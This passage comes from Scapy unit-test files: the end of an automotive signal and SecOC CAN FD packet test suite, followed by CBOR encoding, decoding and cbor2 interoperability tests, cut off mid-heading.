520\npkt.sig8 = 0\npkt.sig9 = 0\npkt.sig10 = 0\n\nassert bytes(pkt) == b'\\x8d\\x00\\x10\\x01\\x00\\x82\\x01\\x00'\n\n\n= Packet with little endianness signals\n\nclass testFrame5(SignalPacket):\n    fields_desc = [\n        SignalField(\"secSig1\", default=0, start=60, size=2, fmt=\"<B\"),\n        SignalField(\"secSig2\", default=0, start=55, size=1, fmt=\"<B\"),\n        SignalField(\"secSig3\", default=0, start=20, size=4, fmt=\"<B\"),\n        SignalField(\"secSig4\", default=0, start=62, size=2, fmt=\"<B\"),\n        SignalField(\"secSig5\", default=0, start=34, size=3, fmt=\"<B\"),\n        SignalField(\"secSig6\", default=0, start=37, size=3, fmt=\"<B\"),\n        SignalField(\"secSig7\", default=0, start=59, size=1, fmt=\"<B\"),\n        SignalField(\"secSig8\", default=0, start=56, size=3, fmt=\"<B\"),\n        SignalField(\"secSig9\", default=0, start=52, size=3, fmt=\"<B\"),\n        SignalField(\"secSig10\", default=0, start=8, size=12, fmt=\"<B\"),\n        SignalField(\"secSig11\", default=0, start=24, size=10, fmt=\"<b\"),\n        SignalField(\"secSig12\", default=0, start=0, size=8, fmt=\"<B\")\n    ]\n\npkt = testFrame5()\n\npkt.secSig1 = 0\npkt.secSig2 = 0\npkt.secSig3 = 0\npkt.secSig4 = 2\npkt.secSig5 = 0\npkt.secSig6 = 0\npkt.secSig7 = 0\npkt.secSig8 = 3\npkt.secSig9 = 1\npkt.secSig10 = 1280\npkt.secSig11 = -144\npkt.secSig12 = 12\n\nassert bytes(pkt) == b'\\x0c\\x00\\x05p\\x03\\x00\\x10\\x83'\n\n\n= Packet with float signals build test\n\nclass testFrame6(SignalPacket):\n    fields_desc = [\n        SignalField(\"floatSignal2\", default=0, start=32, size=32, fmt=\"<f\"),\n        SignalField(\"floatSignal1\", default=0, start=7, size=32, fmt=\">f\")\n    ]\n\npkt = testFrame6()\n\npkt.floatSignal1 = 5.424999835668132e-05\npkt.floatSignal2 = 6.176799774169922\n\nassert bytes(pkt) == b'8c\\x8a~X\\xa8\\xc5@'\n\n= Packet with float signals dissect test\n\npkt = testFrame6(b'8c\\x8a~X\\xa8\\xc5@')\n\nassert pkt.floatSignal1 == 5.424999835668132e-05\nassert pkt.floatSignal2 == 6.176799774169922\n\n\n= Packet with float signals build test 2\n\nclass testFrame6(SignalPacket):\n    fields_desc = [\n        LEFloatSignalField(\"floatSignal2\", default=0, start=32),\n        BEFloatSignalField(\"floatSignal1\", default=0, start=7)\n    ]\n\npkt = testFrame6()\n\npkt.floatSignal1 = 5.424999835668132e-05\npkt.floatSignal2 = 6.176799774169922\n\nassert bytes(pkt) == b'8c\\x8a~X\\xa8\\xc5@'\n\n= Packet with float signals dissect test 2\n\npkt = testFrame6(b'8c\\x8a~X\\xa8\\xc5@')\n\nassert pkt.floatSignal1 == 5.424999835668132e-05\nassert pkt.floatSignal2 == 6.176799774169922\n\n= Packet with float signals randval\n\nassert pkt.fields_desc[0].randval() != 6.176799774169922\nassert pkt.fields_desc[1].randval() != 5.424999835668132e-05\n\n= Packet with float signals fuzz\n\npkt = testFrame6()\n\nf = fuzz(pkt)\nassert bytes(f) != bytes(f)\n\n= Test signal fuzzing offset 1\n\ntest_offset = 100\n\nclass testFrame3(SignalPacket):\n    fields_desc = [\n        BEUnsignedSignalField(\"muxSig7\", default=0, start=2, size=8, scaling=1, offset=test_offset),\n    ]\n\npkt = testFrame3()\npkt = fuzz(pkt)\n\nli = [pkt.muxSig7._fix() for x in range(100000)]\n\nassert abs(round(sum(li) / len(li)) - 128 - test_offset) < 2\n\n= Test signal fuzzing offset 2 and scaling\n\ntest_offset = 100\n\nclass testFrame3(SignalPacket):\n    fields_desc = [\n        BEUnsignedSignalField(\"muxSig7\", default=0, start=2, size=8, scaling=0.1, offset=test_offset),\n    ]\n\npkt = testFrame3()\npkt = fuzz(pkt)\n\nli = [pkt.muxSig7._fix() for x in range(100000)]\n\nassert abs(round(sum(li) / len(li)) - 12.8 - test_offset) < 2\n\n\n= Test signal fuzzing offset 3\n\ntest_offset = -100\n\nclass testFrame3(SignalPacket):\n    fields_desc = [\n        BESignedSignalField(\"muxSig7\", default=0, start=2, size=8, scaling=1, offset=test_offset),\n    ]\n\npkt = testFrame3()\npkt = fuzz(pkt)\n\nli = [pkt.muxSig7._fix() for x in range(100000)]\n\nassert abs(round(sum(li) / len(li)) - test_offset) < 2\n\n= Test signal fuzzing offset 4 and scaling\n\ntest_offset = 10\n\nclass testFrame3(SignalPacket):\n    fields_desc = [\n        LESignedSignalField(\"muxSig7\", default=0, start=2, size=8, scaling=10, offset=test_offset),\n    ]\n\npkt = testFrame3()\npkt = fuzz(pkt)\n\nli = [pkt.muxSig7._fix() for x in range(100000)]\n\nassert abs(round(sum(li) / len(li)) - test_offset) < 20\n\n\n= Test signal fuzzing offset 5 and scaling\n\ntest_offset = 10\n\nclass testFrame3(SignalPacket):\n    fields_desc = [\n        BESignedSignalField(\"muxSig7\", default=0, start=2, size=8, scaling=0.271, offset=test_offset),\n    ]\n\npkt = testFrame3()\npkt = fuzz(pkt)\n\nli = [pkt.muxSig7._fix() for x in range(100000)]\n\nassert abs(round(sum(li) / len(li)) - test_offset) < 2\n\n\n= Test FloatSignal fuzzing 1\n#Test if fuzz function works.\n#Asserts are not really useful at the moment.\n\nclass testFrame3(SignalPacket):\n    fields_desc = [\n        BEFloatSignalField(\"muxSig7\", default=0, start=7),\n    ]\n\npkt = testFrame3()\npkt = fuzz(pkt)\n\ntestlen = 10000\n\nli = [pkt.muxSig7._fix() for x in range(testlen)]\ngz = [x for x in li if math.isnan(x) == False and x >= 0]\nlz = [x for x in li if math.isnan(x) == False and x < 0]\nnan = [x for x in li if math.isnan(x)]\n\nassert len(nan) >= 0\nassert abs(len(gz) - len(lz)) < (testlen // 10)\n\n+ SECOC CANFD\n\n= Load SecOC_CANFD\n\nload_contrib(\"automotive.autosar.secoc_canfd\", globals_dict=globals())\n\n\n= Test SecOC_CANFD build\n\n#SecOC_CANFD.register_secoc_protected_pdu(0x123)\n\npkt = SecOC_CANFD(identifier=0x123, pdu_payload=bytes.fromhex(\"1122334455667788AABBCCDDEEFF0011\"))\npkt.show2()\ncanfd = CANFD(bytes(pkt))\ncanfd.show2()\npkt = SecOC_CANFD(bytes(pkt))\n\nassert pkt.identifier == canfd.identifier\nassert pkt.data == canfd.data\nassert pkt.length == canfd.length\n\nSecOC_CANFD.register_secoc_protected_pdu(0x123)\n\npkt = CANFD(identifier=0x123, data=bytes.fromhex(\"1122334455667788AABBCCDDEEFF001122334455\"))\ncanfd = CANFD(bytes(pkt))\ncanfd.show2()\npkt = SecOC_CANFD(bytes(pkt))\npkt.show2()\n\nassert pkt.identifier == canfd.identifier\nassert bytes(pkt.pdu_payload) == bytes(canfd.data)[:-4]\nassert pkt.length == canfd.length\nassert pkt.tfv == 0x22\nassert pkt.tmac == b\"\\x33\\x44\\x55\"\n\npkt.secoc_authenticate()\n\nassert pkt.tfv == 0\nassert pkt.tmac != b\"\\x33\\x44\\x55\"\n\nif conf.crypto_valid:\n    from cryptography.hazmat.primitives import cmac\n    from cryptography.hazmat.primitives.ciphers import algorithms\n    c = cmac.CMAC(algorithms.AES128(b\"\\x00\" * 16))\n    c.update(bytes.fromhex(\"1122334455667788AABBCCDDEEFF0011\") + bytes.fromhex(\"00000000\"))\n    mac = c.finalize()\n    assert pkt.tmac == mac[:3]"
  },
  {
    "path": "test/scapy/layers/cbor.uts",
    "content": "% Tests for CBOR encoding/decoding\n# Following the ASN.1 test paradigm\n#\n# Try me with:\n# bash test/run_tests -t test/scapy/layers/cbor.uts -F\n#\n# NOTE: Interoperability tests require cbor2 (test-only dependency):\n# pip install cbor2\n# cbor2 is used ONLY in tests, NOT in the scapy CBOR implementation\n\n########### CBOR Basic Types #######################################\n\n+ CBOR Unsigned Integer\n\n= Encode small unsigned integer (0-23)\nfrom scapy.cbor import *\nobj = CBOR_UNSIGNED_INTEGER(0)\nbytes(obj) == b'\\x00'\n\n= Encode unsigned integer with 1-byte value\nobj = CBOR_UNSIGNED_INTEGER(24)\nbytes(obj) == b'\\x18\\x18'\n\n= Encode unsigned integer with 2-byte value\nobj = CBOR_UNSIGNED_INTEGER(1000)\nbytes(obj) == b'\\x19\\x03\\xe8'\n\n= Encode unsigned integer with 4-byte value\nobj = CBOR_UNSIGNED_INTEGER(1000000)\nbytes(obj) == b'\\x1a\\x00\\x0f\\x42\\x40'\n\n= Decode small unsigned integer\nobj, remainder = CBOR_Codecs.CBOR.dec(b'\\x00')\nobj.val == 0 and remainder == b''\n\n= Decode unsigned integer with 1-byte value\nobj, remainder = CBOR_Codecs.CBOR.dec(b'\\x18\\x18')\nobj.val == 24 and remainder == b''\n\n= Decode unsigned integer with 2-byte value\nobj, remainder = CBOR_Codecs.CBOR.dec(b'\\x19\\x03\\xe8')\nobj.val == 1000 and remainder == b''\n\n+ CBOR Negative Integer\n\n= Encode negative integer -1\nobj = CBOR_NEGATIVE_INTEGER(-1)\nbytes(obj) == b'\\x20'\n\n= Encode negative integer -10\nobj = CBOR_NEGATIVE_INTEGER(-10)\nbytes(obj) == b'\\x29'\n\n= Encode negative integer -100\nobj = CBOR_NEGATIVE_INTEGER(-100)\nbytes(obj) == b'\\x38\\x63'\n\n= Decode negative integer -1\nobj, remainder = CBOR_Codecs.CBOR.dec(b'\\x20')\nobj.val == -1 and remainder == b''\n\n= Decode negative integer -100\nobj, remainder = CBOR_Codecs.CBOR.dec(b'\\x38\\x63')\nobj.val == -100 and remainder == b''\n\n+ CBOR Byte String\n\n= Encode empty byte string\nobj = CBOR_BYTE_STRING(b'')\nbytes(obj) == b'\\x40'\n\n= Encode byte string\nobj = CBOR_BYTE_STRING(b'hello')\nbytes(obj) == b'\\x45hello'\n\n= Decode empty byte string\nobj, remainder = CBOR_Codecs.CBOR.dec(b'\\x40')\nobj.val == b'' and remainder == b''\n\n= Decode byte string\nobj, remainder = CBOR_Codecs.CBOR.dec(b'\\x45hello')\nobj.val == b'hello' and remainder == b''\n\n+ CBOR Text String\n\n= Encode empty text string\nobj = CBOR_TEXT_STRING('')\nbytes(obj) == b'\\x60'\n\n= Encode text string\nobj = CBOR_TEXT_STRING('hello')\nbytes(obj) == b'\\x65hello'\n\n= Encode UTF-8 text string\nobj = CBOR_TEXT_STRING('café')\nbytes(obj) == b'\\x65caf\\xc3\\xa9'\n\n= Decode empty text string\nobj, remainder = CBOR_Codecs.CBOR.dec(b'\\x60')\nobj.val == '' and remainder == b''\n\n= Decode text string\nobj, remainder = CBOR_Codecs.CBOR.dec(b'\\x65hello')\nobj.val == 'hello' and remainder == b''\n\n= Decode UTF-8 text string\nobj, remainder = CBOR_Codecs.CBOR.dec(b'\\x65caf\\xc3\\xa9')\nobj.val == 'café' and remainder == b''\n\n+ CBOR Simple Values\n\n= Encode false\nobj = CBOR_FALSE()\nbytes(obj) == b'\\xf4'\n\n= Encode true\nobj = CBOR_TRUE()\nbytes(obj) == b'\\xf5'\n\n= Encode null\nobj = CBOR_NULL()\nbytes(obj) == b'\\xf6'\n\n= Encode undefined\nobj = CBOR_UNDEFINED()\nbytes(obj) == b'\\xf7'\n\n= Decode false\nobj, remainder = CBOR_Codecs.CBOR.dec(b'\\xf4')\nisinstance(obj, CBOR_FALSE) and obj.val is False and remainder == b''\n\n= Decode true\nobj, remainder = CBOR_Codecs.CBOR.dec(b'\\xf5')\nisinstance(obj, CBOR_TRUE) and obj.val is True and remainder == b''\n\n= Decode null\nobj, remainder = CBOR_Codecs.CBOR.dec(b'\\xf6')\nisinstance(obj, CBOR_NULL) and obj.val is None and remainder == b''\n\n= Decode undefined\nobj, remainder = CBOR_Codecs.CBOR.dec(b'\\xf7')\nisinstance(obj, CBOR_UNDEFINED) and remainder == b''\n\n+ CBOR Float\n\n= Encode double precision float\nobj = CBOR_FLOAT(1.5)\nbytes(obj) == b'\\xfb\\x3f\\xf8\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= Decode double precision float\nobj, remainder = CBOR_Codecs.CBOR.dec(b'\\xfb\\x3f\\xf8\\x00\\x00\\x00\\x00\\x00\\x00')\nabs(obj.val - 1.5) < 0.0001 and remainder == b''\n\n+ CBOR Array\n\n= Encode empty array\nobj = CBOR_ARRAY([])\nbytes(obj) == b'\\x80'\n\n= Encode array with integers\nfrom scapy.cbor.cborcodec import CBORcodec_ARRAY\nobj = CBOR_ARRAY([CBOR_UNSIGNED_INTEGER(1), CBOR_UNSIGNED_INTEGER(2), CBOR_UNSIGNED_INTEGER(3)])\nbytes(obj) == b'\\x83\\x01\\x02\\x03'\n\n= Encode array with Python integers\nresult = CBORcodec_ARRAY.enc([1, 2, 3])\nresult == b'\\x83\\x01\\x02\\x03'\n\n= Decode empty array\nobj, remainder = CBOR_Codecs.CBOR.dec(b'\\x80')\nisinstance(obj, CBOR_ARRAY) and obj.val == [] and remainder == b''\n\n= Decode array with integers\nobj, remainder = CBOR_Codecs.CBOR.dec(b'\\x83\\x01\\x02\\x03')\nisinstance(obj, CBOR_ARRAY) and len(obj.val) == 3\n\n= Decode nested array\nobj, remainder = CBOR_Codecs.CBOR.dec(b'\\x82\\x01\\x82\\x02\\x03')\nisinstance(obj, CBOR_ARRAY) and len(obj.val) == 2\n\n+ CBOR Map\n\n= Encode empty map\nobj = CBOR_MAP({})\nbytes(obj) == b'\\xa0'\n\n= Encode map with string keys\nfrom scapy.cbor.cborcodec import CBORcodec_MAP\nresult = CBORcodec_MAP.enc({\"a\": 1, \"b\": 2})\nresult == b'\\xa2\\x61a\\x01\\x61b\\x02' or result == b'\\xa2\\x61b\\x02\\x61a\\x01'\n\n= Decode empty map\nobj, remainder = CBOR_Codecs.CBOR.dec(b'\\xa0')\nisinstance(obj, CBOR_MAP) and obj.val == {} and remainder == b''\n\n= Decode map with integer values\nobj, remainder = CBOR_Codecs.CBOR.dec(b'\\xa2\\x61a\\x01\\x61b\\x02')\nisinstance(obj, CBOR_MAP) and len(obj.val) == 2\n\n+ CBOR Semantic Tag\n\n= Encode semantic tag (datetime)\nobj = CBOR_SEMANTIC_TAG((0, CBOR_TEXT_STRING(\"2013-03-21T20:04:00Z\")))\nbytes(obj) == b'\\xc0\\x74' + b'2013-03-21T20:04:00Z'\n\n= Decode semantic tag\nobj, remainder = CBOR_Codecs.CBOR.dec(b'\\xc0\\x74' + b'2013-03-21T20:04:00Z')\nisinstance(obj, CBOR_SEMANTIC_TAG) and obj.val[0] == 0 and remainder == b''\n\n+ CBOR Roundtrip Tests\n\n= Roundtrip unsigned integer\noriginal = CBOR_UNSIGNED_INTEGER(42)\nencoded = bytes(original)\ndecoded, _ = CBOR_Codecs.CBOR.dec(encoded)\ndecoded.val == original.val\n\n= Roundtrip negative integer\noriginal = CBOR_NEGATIVE_INTEGER(-42)\nencoded = bytes(original)\ndecoded, _ = CBOR_Codecs.CBOR.dec(encoded)\ndecoded.val == original.val\n\n= Roundtrip byte string\noriginal = CBOR_BYTE_STRING(b'test data')\nencoded = bytes(original)\ndecoded, _ = CBOR_Codecs.CBOR.dec(encoded)\ndecoded.val == original.val\n\n= Roundtrip text string\noriginal = CBOR_TEXT_STRING('test string')\nencoded = bytes(original)\ndecoded, _ = CBOR_Codecs.CBOR.dec(encoded)\ndecoded.val == original.val\n\n= Roundtrip array\nfrom scapy.cbor.cborcodec import CBORcodec_ARRAY\nencoded = CBORcodec_ARRAY.enc([1, 2, 3, 4, 5])\ndecoded, _ = CBOR_Codecs.CBOR.dec(encoded)\nisinstance(decoded, CBOR_ARRAY) and len(decoded.val) == 5\n\n= Roundtrip map\nfrom scapy.cbor.cborcodec import CBORcodec_MAP\nencoded = CBORcodec_MAP.enc({\"x\": 100, \"y\": 200})\ndecoded, _ = CBOR_Codecs.CBOR.dec(encoded)\nisinstance(decoded, CBOR_MAP) and len(decoded.val) == 2\n\n+ CBOR Complex Structures\n\n= Encode nested structure\nfrom scapy.cbor.cborcodec import CBORcodec_MAP\ninput_dict = {\n    \"name\": \"John\",\n    \"age\": 30,\n    \"active\": True\n}\nencoded = CBORcodec_MAP.enc(input_dict)\nlen(encoded) > 0\n\n= Decode nested structure\nencoded_data = b'\\xa3\\x64name\\x64John\\x63age\\x18\\x1e\\x66active\\xf5'\nobj, remainder = CBOR_Codecs.CBOR.dec(encoded_data)\nisinstance(obj, CBOR_MAP) and remainder == b''\n\n+ CBOR Error Handling\n\n= Safe decode with invalid data\nobj, remainder = CBOR_Codecs.CBOR.safedec(b'\\xff\\xff\\xff')\nisinstance(obj, CBOR_DECODING_ERROR)\n\n= Decode with insufficient bytes for length\ntry:\n    obj, remainder = CBOR_Codecs.CBOR.dec(b'\\x18')\n    False\nexcept:\n    True\n\n= Decode byte string with insufficient data\ntry:\n    obj, remainder = CBOR_Codecs.CBOR.dec(b'\\x45hel')\n    False\nexcept:\n    True\n\n########### CBOR Interoperability Tests with cbor2 #################\n# These tests verify interoperability between scapy's CBOR implementation\n# and the standard cbor2 library. cbor2 is ONLY used in tests, not in\n# the scapy implementation.\n#\n# NOTE: These tests require cbor2 to be installed: pip install cbor2\n\n+ CBOR Interoperability - Basic Types (Scapy encode, cbor2 decode)\n\n= Check cbor2 availability\ntry:\n    import cbor2\n    cbor2_available = True\nexcept ImportError:\n    cbor2_available = False\n\ncbor2_available\n\n= Interop: Scapy encode unsigned integer, cbor2 decode\nimport cbor2\nobj = CBOR_UNSIGNED_INTEGER(42)\nencoded = bytes(obj)\ndecoded = cbor2.loads(encoded)\ndecoded == 42\n\n= Interop: Scapy encode negative integer, cbor2 decode\nobj = CBOR_NEGATIVE_INTEGER(-100)\nencoded = bytes(obj)\ndecoded = cbor2.loads(encoded)\ndecoded == -100\n\n= Interop: Scapy encode text string, cbor2 decode\nobj = CBOR_TEXT_STRING(\"Hello, World!\")\nencoded = bytes(obj)\ndecoded = cbor2.loads(encoded)\ndecoded == \"Hello, World!\"\n\n= Interop: Scapy encode UTF-8 text string, cbor2 decode\nobj = CBOR_TEXT_STRING(\"Café ☕\")\nencoded = bytes(obj)\ndecoded = cbor2.loads(encoded)\ndecoded == \"Café ☕\"\n\n= Interop: Scapy encode byte string, cbor2 decode\nobj = CBOR_BYTE_STRING(b'\\x01\\x02\\x03\\x04\\x05')\nencoded = bytes(obj)\ndecoded = cbor2.loads(encoded)\ndecoded == b'\\x01\\x02\\x03\\x04\\x05'\n\n= Interop: Scapy encode true, cbor2 decode\nobj = CBOR_TRUE()\nencoded = bytes(obj)\ndecoded = cbor2.loads(encoded)\ndecoded is True\n\n= Interop: Scapy encode false, cbor2 decode\nobj = CBOR_FALSE()\nencoded = bytes(obj)\ndecoded = cbor2.loads(encoded)\ndecoded is False\n\n= Interop: Scapy encode null, cbor2 decode\nobj = CBOR_NULL()\nencoded = bytes(obj)\ndecoded = cbor2.loads(encoded)\ndecoded is None\n\n= Interop: Scapy encode undefined, cbor2 decode\nobj = CBOR_UNDEFINED()\nencoded = bytes(obj)\ndecoded = cbor2.loads(encoded)\nfrom cbor2 import undefined\ndecoded is undefined\n\n= Interop: Scapy encode float, cbor2 decode\nobj = CBOR_FLOAT(3.14159)\nencoded = bytes(obj)\ndecoded = cbor2.loads(encoded)\nabs(decoded - 3.14159) < 0.0001\n\n+ CBOR Interoperability - Collections (Scapy encode, cbor2 decode)\n\n= Interop: Scapy encode array, cbor2 decode\nfrom scapy.cbor.cborcodec import CBORcodec_ARRAY\nencoded = CBORcodec_ARRAY.enc([1, 2, 3, 4, 5])\ndecoded = cbor2.loads(encoded)\ndecoded == [1, 2, 3, 4, 5]\n\n= Interop: Scapy encode nested array, cbor2 decode\nencoded = CBORcodec_ARRAY.enc([1, [2, 3], [4, [5, 6]]])\ndecoded = cbor2.loads(encoded)\ndecoded == [1, [2, 3], [4, [5, 6]]]\n\n= Interop: Scapy encode map, cbor2 decode\nfrom scapy.cbor.cborcodec import CBORcodec_MAP\nencoded = CBORcodec_MAP.enc({\"a\": 1, \"b\": 2, \"c\": 3})\ndecoded = cbor2.loads(encoded)\ndecoded == {\"a\": 1, \"b\": 2, \"c\": 3}\n\n= Interop: Scapy encode complex map, cbor2 decode\ndata = {\"name\": \"Alice\", \"age\": 30, \"active\": True, \"tags\": [\"user\", \"admin\"]}\nencoded = CBORcodec_MAP.enc(data)\ndecoded = cbor2.loads(encoded)\ndecoded == data\n\n= Interop: Scapy encode mixed array, cbor2 decode\nencoded = CBORcodec_ARRAY.enc([42, \"hello\", True, None, 3.14, [1, 2]])\ndecoded = cbor2.loads(encoded)\nlen(decoded) == 6 and decoded[0] == 42 and decoded[1] == \"hello\"\n\n+ CBOR Interoperability - Basic Types (cbor2 encode, Scapy decode)\n\n= Interop: cbor2 encode unsigned integer, Scapy decode\nencoded = cbor2.dumps(42)\nobj, remainder = CBOR_Codecs.CBOR.dec(encoded)\nobj.val == 42 and isinstance(obj, CBOR_UNSIGNED_INTEGER)\n\n= Interop: cbor2 encode negative integer, Scapy decode\nencoded = cbor2.dumps(-100)\nobj, remainder = CBOR_Codecs.CBOR.dec(encoded)\nobj.val == -100 and isinstance(obj, CBOR_NEGATIVE_INTEGER)\n\n= Interop: cbor2 encode text string, Scapy decode\nencoded = cbor2.dumps(\"Hello, World!\")\nobj, remainder = CBOR_Codecs.CBOR.dec(encoded)\nobj.val == \"Hello, World!\" and isinstance(obj, CBOR_TEXT_STRING)\n\n= Interop: cbor2 encode UTF-8 text string, Scapy decode\nencoded = cbor2.dumps(\"Café ☕\")\nobj, remainder = CBOR_Codecs.CBOR.dec(encoded)\nobj.val == \"Café ☕\" and isinstance(obj, CBOR_TEXT_STRING)\n\n= Interop: cbor2 encode byte string, Scapy decode\nencoded = cbor2.dumps(b'\\x01\\x02\\x03\\x04\\x05')\nobj, remainder = CBOR_Codecs.CBOR.dec(encoded)\nobj.val == b'\\x01\\x02\\x03\\x04\\x05' and isinstance(obj, CBOR_BYTE_STRING)\n\n= Interop: cbor2 encode true, Scapy decode\nencoded = cbor2.dumps(True)\nobj, remainder = CBOR_Codecs.CBOR.dec(encoded)\nobj.val is True and isinstance(obj, CBOR_TRUE)\n\n= Interop: cbor2 encode false, Scapy decode\nencoded = cbor2.dumps(False)\nobj, remainder = CBOR_Codecs.CBOR.dec(encoded)\nobj.val is False and isinstance(obj, CBOR_FALSE)\n\n= Interop: cbor2 encode null, Scapy decode\nencoded = cbor2.dumps(None)\nobj, remainder = CBOR_Codecs.CBOR.dec(encoded)\nobj.val is None and isinstance(obj, CBOR_NULL)\n\n= Interop: cbor2 encode undefined, Scapy decode\nfrom cbor2 import CBORSimpleValue, undefined\nencoded = cbor2.dumps(undefined)\nobj, remainder = CBOR_Codecs.CBOR.dec(encoded)\nisinstance(obj, CBOR_UNDEFINED)\n\n= Interop: cbor2 encode float, Scapy decode\nencoded = cbor2.dumps(3.14159)\nobj, remainder = CBOR_Codecs.CBOR.dec(encoded)\nabs(obj.val - 3.14159) < 0.0001 and isinstance(obj, CBOR_FLOAT)\n\n+ CBOR Interoperability - Collections (cbor2 encode, Scapy decode)\n\n= Interop: cbor2 encode array, Scapy decode\nencoded = cbor2.dumps([1, 2, 3, 4, 5])\nobj, remainder = CBOR_Codecs.CBOR.dec(encoded)\nisinstance(obj, CBOR_ARRAY) and len(obj.val) == 5\n\n= Interop: cbor2 encode nested array, Scapy decode\nencoded = cbor2.dumps([1, [2, 3], [4, [5, 6]]])\nobj, remainder = CBOR_Codecs.CBOR.dec(encoded)\nisinstance(obj, CBOR_ARRAY) and len(obj.val) == 3\n\n= Interop: cbor2 encode map, Scapy decode\nencoded = cbor2.dumps({\"a\": 1, \"b\": 2, \"c\": 3})\nobj, remainder = CBOR_Codecs.CBOR.dec(encoded)\nisinstance(obj, CBOR_MAP) and len(obj.val) == 3\n\n= Interop: cbor2 encode complex map, Scapy decode\ndata = {\"name\": \"Alice\", \"age\": 30, \"active\": True}\nencoded = cbor2.dumps(data)\nobj, remainder = CBOR_Codecs.CBOR.dec(encoded)\nisinstance(obj, CBOR_MAP) and \"name\" in obj.val\n\n= Interop: cbor2 encode mixed array, Scapy decode\nencoded = cbor2.dumps([42, \"hello\", True, None, 3.14])\nobj, remainder = CBOR_Codecs.CBOR.dec(encoded)\nisinstance(obj, CBOR_ARRAY) and len(obj.val) == 5\n\n+ CBOR Interoperability - Roundtrip Tests\n\n= Interop roundtrip: integer through cbor2\noriginal_val = 12345\nscapy_obj = CBOR_UNSIGNED_INTEGER(original_val)\nscapy_encoded = bytes(scapy_obj)\ncbor2_decoded = cbor2.loads(scapy_encoded)\ncbor2_encoded = cbor2.dumps(cbor2_decoded)\nscapy_decoded, _ = CBOR_Codecs.CBOR.dec(cbor2_encoded)\nscapy_decoded.val == original_val\n\n= Interop roundtrip: string through cbor2\noriginal_val = \"Test String 测试\"\nscapy_obj = CBOR_TEXT_STRING(original_val)\nscapy_encoded = bytes(scapy_obj)\ncbor2_decoded = cbor2.loads(scapy_encoded)\ncbor2_encoded = cbor2.dumps(cbor2_decoded)\nscapy_decoded, _ = CBOR_Codecs.CBOR.dec(cbor2_encoded)\nscapy_decoded.val == original_val\n\n= Interop roundtrip: array through cbor2\noriginal_val = [1, \"two\", 3.0, True, None]\nscapy_encoded = CBORcodec_ARRAY.enc(original_val)\ncbor2_decoded = cbor2.loads(scapy_encoded)\ncbor2_encoded = cbor2.dumps(cbor2_decoded)\nscapy_decoded, _ = CBOR_Codecs.CBOR.dec(cbor2_encoded)\nisinstance(scapy_decoded, CBOR_ARRAY) and len(scapy_decoded.val) == 5\n\n= Interop roundtrip: map through cbor2\noriginal_val = {\"int\": 42, \"str\": \"value\", \"bool\": True, \"null\": None}\nscapy_encoded = CBORcodec_MAP.enc(original_val)\ncbor2_decoded = cbor2.loads(scapy_encoded)\ncbor2_encoded = cbor2.dumps(cbor2_decoded)\nscapy_decoded, _ = CBOR_Codecs.CBOR.dec(cbor2_encoded)\nisinstance(scapy_decoded, CBOR_MAP) and len(scapy_decoded.val) == 4\n\n+ CBOR Interoperability - Edge Cases\n\n= Interop: Large unsigned integer\nlarge_int = 18446744073709551615  # 2^64 - 1\nencoded = cbor2.dumps(large_int)\nobj, _ = CBOR_Codecs.CBOR.dec(encoded)\nobj.val == large_int\n\n= Interop: Very negative integer\nneg_int = -18446744073709551616  # -(2^64)\nencoded = cbor2.dumps(neg_int)\nobj, _ = CBOR_Codecs.CBOR.dec(encoded)\nobj.val == neg_int\n\n= Interop: Empty collections\nempty_array = cbor2.dumps([])\nobj1, _ = CBOR_Codecs.CBOR.dec(empty_array)\nempty_map = cbor2.dumps({})\nobj2, _ = CBOR_Codecs.CBOR.dec(empty_map)\nisinstance(obj1, CBOR_ARRAY) and len(obj1.val) == 0 and isinstance(obj2, CBOR_MAP) and len(obj2.val) == 0\n\n= Interop: Deeply nested structure\ndeep = {\"level1\": {\"level2\": {\"level3\": {\"level4\": [1, 2, 3]}}}}\nencoded = cbor2.dumps(deep)\nobj, _ = CBOR_Codecs.CBOR.dec(encoded)\nisinstance(obj, CBOR_MAP)\n\n= Interop: Special float values (infinity)\nimport math\npos_inf_encoded = cbor2.dumps(math.inf)\npos_inf_obj, _ = CBOR_Codecs.CBOR.dec(pos_inf_encoded)\nneg_inf_encoded = cbor2.dumps(-math.inf)\nneg_inf_obj, _ = CBOR_Codecs.CBOR.dec(neg_inf_encoded)\nmath.isinf(pos_inf_obj.val) and math.isinf(neg_inf_obj.val)\n\n= Interop: Special float value (NaN)\nnan_encoded = cbor2.dumps(math.nan)\nnan_obj, _ = CBOR_Codecs.CBOR.dec(nan_encoded)\nmath.isnan(nan_obj.val)\n\n= Interop: Zero values\nzero_int = cbor2.dumps(0)\nzero_float = cbor2.dumps(0.0)\nobj1, _ = CBOR_Codecs.CBOR.dec(zero_int)\nobj2, _ = CBOR_Codecs.CBOR.dec(zero_float)\nobj1.val == 0 and obj2.val == 0.0\n\n########### Additional Tests Adapted from PR #4875 ###################\n# These tests verify specific encoding sizes and edge cases\n\n+ CBOR Encoding Sizes - Unsigned Integers\n\n= uint encoding size 0 (argument in initial byte)\nobj = CBOR_UNSIGNED_INTEGER(0x12)\ndata = bytes(obj)\ndata == bytes.fromhex('12')\n\n= uint encoding size 1 (1-byte argument follows)\nobj = CBOR_UNSIGNED_INTEGER(0x34)\ndata = bytes(obj)\ndata == bytes.fromhex('1834')\n\n= uint encoding size 2 (2-byte argument follows)\nobj = CBOR_UNSIGNED_INTEGER(0x1234)\ndata = bytes(obj)\ndata == bytes.fromhex('191234')\n\n= uint encoding size 4 (4-byte argument follows)\nobj = CBOR_UNSIGNED_INTEGER(0x12345678)\ndata = bytes(obj)\ndata == bytes.fromhex('1a12345678')\n\n= uint encoding size 8 (8-byte argument follows)\nobj = CBOR_UNSIGNED_INTEGER(0x1234567812345678)\ndata = bytes(obj)\ndata == bytes.fromhex('1b1234567812345678')\n\n= uint decoding size 0\ndata = bytes.fromhex('12')\nobj, remainder = CBOR_Codecs.CBOR.dec(data)\nobj.val == 18 and remainder == b''\n\n= uint decoding size 1\ndata = bytes.fromhex('1834')\nobj, remainder = CBOR_Codecs.CBOR.dec(data)\nobj.val == 0x34 and remainder == b''\n\n= uint decoding size 2\ndata = bytes.fromhex('191234')\nobj, remainder = CBOR_Codecs.CBOR.dec(data)\nobj.val == 0x1234 and remainder == b''\n\n= uint decoding size 4\ndata = bytes.fromhex('1a12345678')\nobj, remainder = CBOR_Codecs.CBOR.dec(data)\nobj.val == 0x12345678 and remainder == b''\n\n= uint decoding size 8\ndata = bytes.fromhex('1b1234567812345678')\nobj, remainder = CBOR_Codecs.CBOR.dec(data)\nobj.val == 0x1234567812345678 and remainder == b''\n\n+ CBOR Encoding Sizes - 